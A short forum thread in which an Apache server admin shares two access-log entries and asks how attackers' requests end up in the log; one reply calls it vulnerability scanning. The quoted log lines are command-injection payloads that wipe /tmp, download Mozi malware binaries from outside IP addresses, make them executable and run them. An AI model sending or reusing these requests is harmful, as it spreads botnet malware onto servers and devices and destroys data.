How to leave a trace in Apache logs?

Question

Apache HTTP Server

Hello. I look at the Apache logs, someone is trying to upload a file, and unfortunately they succeeded. There are entries like this
"GET /shell?cd+/tmp;rm+-rf+*;wget+ 117.221.178.19:40872/Mozi.a;chmod+777+Mozi.a;/tmp/... HTTP/1.0" 404 1723 "- " "Hello, world"
"GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+ 178.175.88.132:39452/Mozi.m+-O+/tmp/netgear;sh+net. .. HTTP/1.0" 500 1711 "-" "-"

No matter how I tried, through the domain, or by ip address, contact the same way, but the browser just says 404. I also tried to make a request directly through telnet. And there is nothing in the logs. How do they make such a request that Apache writes it to the log?

Answer 1

Someone scans your web server, the web server says that there is no such file, and the second time it gives an error. And such a result can be obtained by running any vulnerability scanner on your address